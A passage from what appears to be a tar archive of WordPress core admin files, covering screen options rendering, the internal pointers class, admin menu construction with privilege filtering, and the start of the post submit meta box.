			$expand                 = '<fieldset class="editor-expand hidden"><legend>' . __( 'Additional settings' ) . '</legend><label for="editor-expand-toggle">';
			$expand                .= '<input type="checkbox" id="editor-expand-toggle"' . checked( get_user_setting( 'editor_expand', 'on' ), 'on', false ) . ' />';
			$expand                .= __( 'Enable full-height editor and distraction-free functionality.' ) . '</label></fieldset>';
			$this->_screen_settings = $expand;
		}

/**
		 * Filters the screen settings text displayed in the Screen Options tab.
		 *
		 * This filter is currently only used on the Widgets screen to enable
		 * accessibility mode.
		 *
		 * @since 3.0.0
		 *
		 * @param string    $screen_settings Screen settings.
		 * @param WP_Screen $this            WP_Screen object.
		 */
		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );

if ( $this->_screen_settings || $this->_options ) {
			$show_screen = true;
		}

/**
		 * Filters whether to show the Screen Options tab.
		 *
		 * @since 3.2.0
		 *
		 * @param bool      $show_screen Whether to show Screen Options tab.
		 *                               Default true.
		 * @param WP_Screen $this        Current WP_Screen instance.
		 */
		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
		return $this->_show_screen_options;
	}

/**
	 * Render the screen options tab.
	 *
	 * @since 3.3.0
	 *
	 * @param array $options {
	 *     Options for the tab.
	 *
	 *     @type bool $wrap Whether the screen-options-wrap div will be included. Defaults to true.
	 * }
	 */
	public function render_screen_options( $options = array() ) {
		$options = wp_parse_args(
			$options,
			array(
				'wrap' => true,
			)
		);

$wrapper_start = '';
		$wrapper_end   = '';
		$form_start    = '';
		$form_end      = '';

// Output optional wrapper.
		if ( $options['wrap'] ) {
			$wrapper_start = '<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="' . esc_attr__( 'Screen Options Tab' ) . '">';
			$wrapper_end   = '</div>';
		}

// Don't output the form and nonce for the widgets accessibility mode links.
		if ( 'widgets' !== $this->base ) {
			$form_start = "\n<form id='adv-settings' method='post'>\n";
			$form_end   = "\n" . wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false, false ) . "\n</form>\n";
		}

echo $wrapper_start . $form_start;

$this->render_meta_boxes_preferences();
		$this->render_list_table_columns_preferences();
		$this->render_screen_layout();
		$this->render_per_page_options();
		$this->render_view_mode();
		echo $this->_screen_settings;

/**
		 * Filters whether to show the Screen Options submit button.
		 *
		 * @since 4.4.0
		 *
		 * @param bool      $show_button Whether to show Screen Options submit button.
		 *                               Default false.
		 * @param WP_Screen $this        Current WP_Screen instance.
		 */
		$show_button = apply_filters( 'screen_options_show_submit', false, $this );

if ( $show_button ) {
			submit_button( __( 'Apply' ), 'primary', 'screen-options-apply', true );
		}

echo $form_end . $wrapper_end;
	}

/**
	 * Render the meta boxes preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global array $wp_meta_boxes
	 */
	public function render_meta_boxes_preferences() {
		global $wp_meta_boxes;

if ( ! isset( $wp_meta_boxes[ $this->id ] ) ) {
			return;
		}
		?>
		<fieldset class="metabox-prefs">
		<legend><?php _e( 'Boxes' ); ?></legend>
		<?php
			meta_box_prefs( $this );

if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
			if ( isset( $_GET['welcome'] ) ) {
				$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
				update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
			} else {
				$welcome_checked = (int) get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
				if ( 2 === $welcome_checked && wp_get_current_user()->user_email !== get_option( 'admin_email' ) ) {
					$welcome_checked = false;
				}
			}
			echo '<label for="wp_welcome_panel-hide">';
			echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
			echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
		}
		?>
		</fieldset>
		<?php
	}

/**
	 * Render the list table columns preferences.
	 *
	 * @since 4.4.0
	 */
	public function render_list_table_columns_preferences() {

$columns = get_column_headers( $this );
		$hidden  = get_hidden_columns( $this );

if ( ! $columns ) {
			return;
		}

$legend = ! empty( $columns['_title'] ) ? $columns['_title'] : __( 'Columns' );
		?>
		<fieldset class="metabox-prefs">
		<legend><?php echo $legend; ?></legend>
		<?php
		$special = array( '_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname' );

foreach ( $columns as $column => $title ) {
			// Can't hide these for they are special.
			if ( in_array( $column, $special, true ) ) {
				continue;
			}

if ( empty( $title ) ) {
				continue;
			}

/*
			 * The Comments column uses HTML in the display name with some screen
			 * reader text. Make sure to strip tags from the Comments column
			 * title and any other custom column title plugins might add.
			 */
			$title = wp_strip_all_tags( $title );

$id = "$column-hide";
			echo '<label>';
			echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( ! in_array( $column, $hidden, true ), true, false ) . ' />';
			echo "$title</label>\n";
		}
		?>
		</fieldset>
		<?php
	}

/**
	 * Render the option for number of columns on the page
	 *
	 * @since 3.3.0
	 */
	public function render_screen_layout() {
		if ( ! $this->get_option( 'layout_columns' ) ) {
			return;
		}

$screen_layout_columns = $this->get_columns();
		$num                   = $this->get_option( 'layout_columns', 'max' );

?>
		<fieldset class='columns-prefs'>
		<legend class="screen-layout"><?php _e( 'Layout' ); ?></legend>
		<?php for ( $i = 1; $i <= $num; ++$i ) : ?>
			<label class="columns-prefs-<?php echo $i; ?>">
			<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>' <?php checked( $screen_layout_columns, $i ); ?> />
			<?php
				printf(
					/* translators: %s: Number of columns on the page. */
					_n( '%s column', '%s columns', $i ),
					number_format_i18n( $i )
				);
			?>
			</label>
		<?php endfor; ?>
		</fieldset>
		<?php
	}

/**
	 * Render the items per page option
	 *
	 * @since 3.3.0
	 */
	public function render_per_page_options() {
		if ( null === $this->get_option( 'per_page' ) ) {
			return;
		}

$per_page_label = $this->get_option( 'per_page', 'label' );
		if ( null === $per_page_label ) {
			$per_page_label = __( 'Number of items per page:' );
		}

$option = $this->get_option( 'per_page', 'option' );
		if ( ! $option ) {
			$option = str_replace( '-', '_', "{$this->id}_per_page" );
		}

$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $this->get_option( 'per_page', 'default' );
			if ( ! $per_page ) {
				$per_page = 20;
			}
		}

if ( 'edit_comments_per_page' === $option ) {
			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
		} elseif ( 'categories_per_page' === $option ) {
			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
		} else {
			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
			$per_page = apply_filters( "{$option}", $per_page );
		}

// Back compat.
		if ( isset( $this->post_type ) ) {
			/** This filter is documented in wp-admin/includes/post.php */
			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
		}

// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );

?>
		<fieldset class="screen-options">
		<legend><?php _e( 'Pagination' ); ?></legend>
			<?php if ( $per_page_label ) : ?>
				<label for="<?php echo esc_attr( $option ); ?>"><?php echo $per_page_label; ?></label>
				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
					id="<?php echo esc_attr( $option ); ?>" maxlength="3"
					value="<?php echo esc_attr( $per_page ); ?>" />
			<?php endif; ?>
				<input type="hidden" name="wp_screen_options[option]" value="<?php echo esc_attr( $option ); ?>" />
		</fieldset>
		<?php
	}

/**
	 * Render the list table view mode preferences.
	 *
	 * @since 4.4.0
	 *
	 * @global string $mode List table view mode.
	 */
	public function render_view_mode() {
		global $mode;

$screen = get_current_screen();

// Currently only enabled for posts and comments lists.
		if ( 'edit' !== $screen->base && 'edit-comments' !== $screen->base ) {
			return;
		}

$view_mode_post_types = get_post_types( array( 'show_ui' => true ) );

/**
		 * Filters the post types that have different view mode options.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $view_mode_post_types Array of post types that can change view modes.
		 *                                       Default post types with show_ui on.
		 */
		$view_mode_post_types = apply_filters( 'view_mode_post_types', $view_mode_post_types );

if ( 'edit' === $screen->base && ! in_array( $this->post_type, $view_mode_post_types, true ) ) {
			return;
		}

if ( ! isset( $mode ) ) {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

// This needs a submit button.
		add_filter( 'screen_options_show_submit', '__return_true' );
		?>
		<fieldset class="metabox-prefs view-mode">
			<legend><?php _e( 'View mode' ); ?></legend>
			<label for="list-view-mode">
				<input id="list-view-mode" type="radio" name="mode" value="list" <?php checked( 'list', $mode ); ?> />
				<?php _e( 'Compact view' ); ?>
			</label>
			<label for="excerpt-view-mode">
				<input id="excerpt-view-mode" type="radio" name="mode" value="excerpt" <?php checked( 'excerpt', $mode ); ?> />
				<?php _e( 'Extended view' ); ?>
			</label>
		</fieldset>
		<?php
	}

/**
	 * Render screen reader text.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key The screen reader text array named key.
	 * @param string $tag Optional. The HTML tag to wrap the screen reader text. Default h2.
	 */
	public function render_screen_reader_content( $key = '', $tag = 'h2' ) {

if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
			return;
		}
		echo "<$tag class='screen-reader-text'>" . $this->_screen_reader_content[ $key ] . "</$tag>";
	}
}
������������������������������class-wp-internal-pointers.php����������������������������������������������������������������������0000604�����������������00000010673�15075125354�0012473 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Administration API: WP_Internal_Pointers class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an internal admin pointers API.
 *
 * @since 3.3.0
 */
final class WP_Internal_Pointers {
	/**
	 * Initializes the new feature pointers.
	 *
	 * @since 3.3.0
	 *
	 * All pointers can be disabled using the following:
	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
	 *
	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
	 *
	 *    function yourprefix_remove_pointers() {
	 *        remove_action(
	 *            'admin_print_footer_scripts',
	 *            array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' )
	 *        );
	 *    }
	 *    add_action( 'admin_enqueue_scripts', 'yourprefix_remove_pointers', 11 );
	 *
	 * @param string $hook_suffix The current admin page.
	 */
	public static function enqueue_scripts( $hook_suffix ) {
		/*
		 * Register feature pointers
		 *
		 * Format:
		 *     array(
		 *         hook_suffix => pointer callback
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'themes.php' => 'wp390_widgets'
		 *     )
		 */
		$registered_pointers = array(
			// None currently.
		);

// Check if screen related pointer is registered.
		if ( empty( $registered_pointers[ $hook_suffix ] ) ) {
			return;
		}

$pointers = (array) $registered_pointers[ $hook_suffix ];

/*
		 * Specify required capabilities for feature pointers
		 *
		 * Format:
		 *     array(
		 *         pointer callback => Array of required capabilities
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'wp390_widgets' => array( 'edit_theme_options' )
		 *     )
		 */
		$caps_required = array(
			// None currently.
		);

// Get dismissed pointers.
		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );

$got_pointers = false;
		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
			if ( isset( $caps_required[ $pointer ] ) ) {
				foreach ( $caps_required[ $pointer ] as $cap ) {
					if ( ! current_user_can( $cap ) ) {
						continue 2;
					}
				}
			}

// Bind pointer print function.
			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
			$got_pointers = true;
		}

if ( ! $got_pointers ) {
			return;
		}

// Add pointers script and style to queue.
		wp_enqueue_style( 'wp-pointer' );
		wp_enqueue_script( 'wp-pointer' );
	}

/**
	 * Print the pointer JavaScript data.
	 *
	 * @since 3.3.0
	 *
	 * @param string $pointer_id The pointer ID.
	 * @param string $selector The HTML elements, on which the pointer should be attached.
	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
	 */
	private static function print_js( $pointer_id, $selector, $args ) {
		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) {
			return;
		}

?>
		<script type="text/javascript">
		(function($){
			var options = <?php echo wp_json_encode( $args ); ?>, setup;

if ( ! options )
				return;

options = $.extend( options, {
				close: function() {
					$.post( ajaxurl, {
						pointer: '<?php echo $pointer_id; ?>',
						action: 'dismiss-wp-pointer'
					});
				}
			});

setup = function() {
				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
			};

if ( options.position && options.position.defer_loading )
				$(window).bind( 'load.wp-pointers', setup );
			else
				$(document).ready( setup );

})( jQuery );
		</script>
		<?php
	}

public static function pointer_wp330_toolbar() {}
	public static function pointer_wp330_media_uploader() {}
	public static function pointer_wp330_saving_widgets() {}
	public static function pointer_wp340_customize_current_theme_link() {}
	public static function pointer_wp340_choose_image_from_library() {}
	public static function pointer_wp350_media() {}
	public static function pointer_wp360_revisions() {}
	public static function pointer_wp360_locks() {}
	public static function pointer_wp390_widgets() {}
	public static function pointer_wp410_dfw() {}
	public static function pointer_wp496_privacy() {}

/**
	 * Prevents new users from seeing existing 'new feature' pointers.
	 *
	 * @since 3.3.0
	 *
	 * @param int $user_id User ID.
	 */
	public static function dismiss_pointers_for_new_users( $user_id ) {
		add_user_meta( $user_id, 'dismissed_wp_pointers', '' );
	}
}
���������������������������������������������������������������������menu.php��������������������������������������������������������������������������������������������0000604�����������������00000021677�15075125354�0006241 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( is_network_admin() ) {

/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_network_admin_menu' );
} elseif ( is_user_admin() ) {

/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_user_admin_menu' );
} else {

/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 2.2.0
	 */
	do_action( '_admin_menu' );
}

// Create list of page plugin hook names.
foreach ( $menu as $menu_page ) {
	$pos = strpos( $menu_page[2], '?' );
	if ( false !== $pos ) {
		// Handle post_type=post|page|foo pages.
		$hook_name = substr( $menu_page[2], 0, $pos );
		$hook_args = substr( $menu_page[2], $pos + 1 );
		wp_parse_str( $hook_args, $hook_args );
		// Set the hook name to be the post type.
		if ( isset( $hook_args['post_type'] ) ) {
			$hook_name = $hook_args['post_type'];
		} else {
			$hook_name = basename( $hook_name, '.php' );
		}
		unset( $hook_args );
	} else {
		$hook_name = basename( $menu_page[2], '.php' );
	}
	$hook_name = sanitize_title( $hook_name );

if ( isset( $compat[ $hook_name ] ) ) {
		$hook_name = $compat[ $hook_name ];
	} elseif ( ! $hook_name ) {
		continue;
	}

$admin_page_hooks[ $menu_page[2] ] = $hook_name;
}
unset( $menu_page, $compat );

$_wp_submenu_nopriv = array();
$_wp_menu_nopriv    = array();
// Loop over submenus and remove pages for which the user does not have privs.
foreach ( $submenu as $parent => $sub ) {
	foreach ( $sub as $index => $data ) {
		if ( ! current_user_can( $data[1] ) ) {
			unset( $submenu[ $parent ][ $index ] );
			$_wp_submenu_nopriv[ $parent ][ $data[2] ] = true;
		}
	}
	unset( $index, $data );

if ( empty( $submenu[ $parent ] ) ) {
		unset( $submenu[ $parent ] );
	}
}
unset( $sub, $parent );

/*
 * Loop over the top-level menu.
 * Menus for which the original parent is not accessible due to lack of privileges
 * will have the next submenu in line be assigned as the new menu parent.
 */
foreach ( $menu as $id => $data ) {
	if ( empty( $submenu[ $data[2] ] ) ) {
		continue;
	}
	$subs       = $submenu[ $data[2] ];
	$first_sub  = reset( $subs );
	$old_parent = $data[2];
	$new_parent = $first_sub[2];
	/*
	 * If the first submenu is not the same as the assigned parent,
	 * make the first submenu the new parent.
	 */
	if ( $new_parent != $old_parent ) {
		$_wp_real_parent_file[ $old_parent ] = $new_parent;
		$menu[ $id ][2]                      = $new_parent;

foreach ( $submenu[ $old_parent ] as $index => $data ) {
			$submenu[ $new_parent ][ $index ] = $submenu[ $old_parent ][ $index ];
			unset( $submenu[ $old_parent ][ $index ] );
		}
		unset( $submenu[ $old_parent ], $index );

if ( isset( $_wp_submenu_nopriv[ $old_parent ] ) ) {
			$_wp_submenu_nopriv[ $new_parent ] = $_wp_submenu_nopriv[ $old_parent ];
		}
	}
}
unset( $id, $data, $subs, $first_sub, $old_parent, $new_parent );

if ( is_network_admin() ) {

/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'network_admin_menu', '' );
} elseif ( is_user_admin() ) {

/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'user_admin_menu', '' );
} else {

/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * @since 1.5.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'admin_menu', '' );
}

/*
 * Remove menus that have no accessible submenus and require privileges
 * that the user does not have. Run re-parent loop again.
 */
foreach ( $menu as $id => $data ) {
	if ( ! current_user_can( $data[1] ) ) {
		$_wp_menu_nopriv[ $data[2] ] = true;
	}

/*
	 * If there is only one submenu and it is has same destination as the parent,
	 * remove the submenu.
	 */
	if ( ! empty( $submenu[ $data[2] ] ) && 1 === count( $submenu[ $data[2] ] ) ) {
		$subs      = $submenu[ $data[2] ];
		$first_sub = reset( $subs );
		if ( $data[2] == $first_sub[2] ) {
			unset( $submenu[ $data[2] ] );
		}
	}

// If submenu is empty...
	if ( empty( $submenu[ $data[2] ] ) ) {
		// And user doesn't have privs, remove menu.
		if ( isset( $_wp_menu_nopriv[ $data[2] ] ) ) {
			unset( $menu[ $id ] );
		}
	}
}
unset( $id, $data, $subs, $first_sub );

/**
 * @param string $add
 * @param string $class
 * @return string
 */
function add_cssclass( $add, $class ) {
	$class = empty( $class ) ? $add : $class .= ' ' . $add;
	return $class;
}

/**
 * @param array $menu
 * @return array
 */
function add_menu_classes( $menu ) {
	$first     = false;
	$lastorder = false;
	$i         = 0;
	$mc        = count( $menu );
	foreach ( $menu as $order => $top ) {
		$i++;

if ( 0 == $order ) { // Dashboard is always shown/single.
			$menu[0][4] = add_cssclass( 'menu-top-first', $top[4] );
			$lastorder  = 0;
			continue;
		}

if ( 0 === strpos( $top[2], 'separator' ) && false !== $lastorder ) { // If separator.
			$first                 = true;
			$c                     = $menu[ $lastorder ][4];
			$menu[ $lastorder ][4] = add_cssclass( 'menu-top-last', $c );
			continue;
		}

if ( $first ) {
			$c                 = $menu[ $order ][4];
			$menu[ $order ][4] = add_cssclass( 'menu-top-first', $c );
			$first             = false;
		}

if ( $mc == $i ) { // Last item.
			$c                 = $menu[ $order ][4];
			$menu[ $order ][4] = add_cssclass( 'menu-top-last', $c );
		}

$lastorder = $order;
	}

/**
	 * Filters administration menus array with classes added for top-level items.
	 *
	 * @since 2.7.0
	 *
	 * @param array $menu Associative array of administration menu items.
	 */
	return apply_filters( 'add_menu_classes', $menu );
}

uksort( $menu, 'strnatcasecmp' ); // Make it all pretty.

/**
 * Filters whether to enable custom ordering of the administration menu.
 *
 * See the {@see 'menu_order'} filter for reordering menu items.
 *
 * @since 2.8.0
 *
 * @param bool $custom Whether custom ordering is enabled. Default false.
 */
if ( apply_filters( 'custom_menu_order', false ) ) {
	$menu_order = array();
	foreach ( $menu as $menu_item ) {
		$menu_order[] = $menu_item[2];
	}
	unset( $menu_item );
	$default_menu_order = $menu_order;

/**
	 * Filters the order of administration menu items.
	 *
	 * A truthy value must first be passed to the {@see 'custom_menu_order'} filter
	 * for this filter to work. Use the following to enable custom menu ordering:
	 *
	 *     add_filter( 'custom_menu_order', '__return_true' );
	 *
	 * @since 2.8.0
	 *
	 * @param array $menu_order An ordered array of menu items.
	 */
	$menu_order         = apply_filters( 'menu_order', $menu_order );
	$menu_order         = array_flip( $menu_order );
	$default_menu_order = array_flip( $default_menu_order );

/**
	 * @global array $menu_order
	 * @global array $default_menu_order
	 *
	 * @param array $a
	 * @param array $b
	 * @return int
	 */
	function sort_menu( $a, $b ) {
		global $menu_order, $default_menu_order;
		$a = $a[2];
		$b = $b[2];
		if ( isset( $menu_order[ $a ] ) && ! isset( $menu_order[ $b ] ) ) {
			return -1;
		} elseif ( ! isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			return 1;
		} elseif ( isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			if ( $menu_order[ $a ] == $menu_order[ $b ] ) {
				return 0;
			}
			return ( $menu_order[ $a ] < $menu_order[ $b ] ) ? -1 : 1;
		} else {
			return ( $default_menu_order[ $a ] <= $default_menu_order[ $b ] ) ? -1 : 1;
		}
	}

usort( $menu, 'sort_menu' );
	unset( $menu_order, $default_menu_order );
}

// Prevent adjacent separators.
$prev_menu_was_separator = false;
foreach ( $menu as $id => $data ) {
	if ( false === stristr( $data[4], 'wp-menu-separator' ) ) {

// This item is not a separator, so falsey the toggler and do nothing.
		$prev_menu_was_separator = false;
	} else {

// The previous item was a separator, so unset this one.
		if ( true === $prev_menu_was_separator ) {
			unset( $menu[ $id ] );
		}

// This item is a separator, so truthy the toggler and move on.
		$prev_menu_was_separator = true;
	}
}
unset( $id, $data, $prev_menu_was_separator );

// Remove the last menu item if it is a separator.
$last_menu_key = array_keys( $menu );
$last_menu_key = array_pop( $last_menu_key );
if ( ! empty( $menu ) && 'wp-menu-separator' === $menu[ $last_menu_key ][4] ) {
	unset( $menu[ $last_menu_key ] );
}
unset( $last_menu_key );

if ( ! user_can_access_admin_page() ) {

/**
	 * Fires when access to an admin page is denied.
	 *
	 * @since 2.5.0
	 */
	do_action( 'admin_page_access_denied' );

wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$menu = add_menu_classes( $menu );
�����������������������������������������������������������������meta-boxes.php��������������������������������������������������������������������������������������0000604�����������������00000173476�15075125354�0007346 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * WordPress Administration Meta Boxes API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Post-related Meta Boxes.
//

/**
 * Displays post submit form fields.
 *
 * @since 2.7.0
 *
 * @global string $action
 *
 * @param WP_Post $post Current post object.
 * @param array   $args {
 *     Array of arguments for building the post submit meta box.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_submit_meta_box( $post, $args = array() ) {
	global $action;

$post_id          = (int) $post->ID;
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
	$can_publish      = current_user_can( $post_type_object->cap->publish_posts );
	?>
<div class="submitbox" id="submitpost">

<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
	<div style="display:none;">
		<?php submit_button( __( 'Save' ), '', 'save' ); ?>
	</div>

<div id="minor-publishing-actions">
		<div id="save-action">
			<?php
			if ( ! in_array( $post->post_status, array( 'publish', 'future', 'pending' ), true ) ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<input <?php echo $private_style; ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save Draft' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } elseif ( 'pending' === $post->post_status && $can_publish ) { ?>
				<input type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save as Pending' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } ?>
		</div>

<?php
		if ( is_post_type_viewable( $post_type_object ) ) :
			?>
			<div id="preview-action">
				<?php
				$preview_link = esc_url( get_preview_post_link( $post ) );
				if ( 'publish' === $post->post_status ) {
					$preview_button_text = __( 'Preview Changes' );
				} else {
					$preview_button_text = __( 'Preview' );
				}

$preview_button = sprintf(
					'%1$s<span class="screen-reader-text"> %2$s</span>',
					$preview_button_text,
					/* translators: Accessibility text. */
					__( '(opens in a new tab)' )
				);
				?>
				<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo $post_id; ?>" id="post-preview"><?php echo $preview_button; ?></a>
				<input type="hidden" name="wp-preview" id="wp-preview" value="" />
			</div>
			<?php
		endif;

/**
		 * Fires before the post time/date setting in the Publish meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_minor_actions', $post );
		?>
		<div class="clear"></div>
	</div>

<div id="misc-publishing-actions">
		<div class="misc-pub-section misc-pub-post-status">
			<?php _e( 'Status:' ); ?>
			<span id="post-status-display">
				<?php
				switch ( $post->post_status ) {
					case 'private':
						_e( 'Privately Published' );
						break;
					case 'publish':
						_e( 'Published' );
						break;
					case 'future':
						_e( 'Scheduled' );
						break;
					case 'pending':
						_e( 'Pending Review' );
						break;
					case 'draft':
					case 'auto-draft':
						_e( 'Draft' );
						break;
				}
				?>
			</span>

<?php
			if ( 'publish' === $post->post_status || 'private' === $post->post_status || $can_publish ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<a href="#post_status" <?php echo $private_style; ?> class="edit-post-status hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit status' ); ?></span></a>

<div id="post-status-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ( 'auto-draft' === $post->post_status ) ? 'draft' : $post->post_status ); ?>" />
					<label for="post_status" class="screen-reader-text"><?php _e( 'Set status' ); ?></label>
					<select name="post_status" id="post_status">
						<?php if ( 'publish' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e( 'Published' ); ?></option>
						<?php elseif ( 'private' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e( 'Privately Published' ); ?></option>
						<?php elseif ( 'future' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e( 'Scheduled' ); ?></option>
						<?php endif; ?>
							<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e( 'Pending Review' ); ?></option>
						<?php if ( 'auto-draft' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php else : ?>
							<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php endif; ?>
					</select>
					<a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e( 'OK' ); ?></a>
					<a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
				</div>
				<?php
			}
			?>
		</div>

<div class="misc-pub-section misc-pub-visibility" id="visibility">
			<?php _e( 'Visibility:' ); ?>
			<span id="post-visibility-display">
				<?php
				if ( 'private' === $post->post_status ) {
					$post->post_password = '';
					$visibility          = 'private';
					$visibility_trans    = __( 'Private' );
				} elseif ( ! empty( $post->post_password ) ) {
					$visibility       = 'password';
					$visibility_trans = __( 'Password protected' );
				} elseif ( 'post' === $post_type && is_sticky( $post_id ) ) {
					$visibility       = 'public';
					$visibility_trans = __( 'Public, Sticky' );
				} else {
					$visibility       = 'public';
					$visibility_trans = __( 'Public' );
				}

echo esc_html( $visibility_trans );
				?>
			</span>

<?php if ( $can_publish ) { ?>
				<a href="#visibility" class="edit-visibility hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text"><?php _e( 'Edit visibility' ); ?></span></a>

<div id="post-visibility-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr( $post->post_password ); ?>" />
					<?php if ( 'post' === $post_type ) : ?>
						<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> />
					<?php endif; ?>

<?php if ( 'post' === $post_type && current_user_can( 'edit_others_posts' ) ) : ?>
						<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span>
					<?php endif; ?>

<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e( 'Password protected' ); ?></label><br />
					<span id="password-span"><label for="post_password"><?php _e( 'Password:' ); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr( $post->post_password ); ?>"  maxlength="255" /><br /></span>

<?php
		/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/date */
		$date_string = __( '%1$s at %2$s' );
		/* translators: Publish box date format, see https://www.php.net/date */
		$date_format = _x( 'M j, Y', 'publish box date format' );
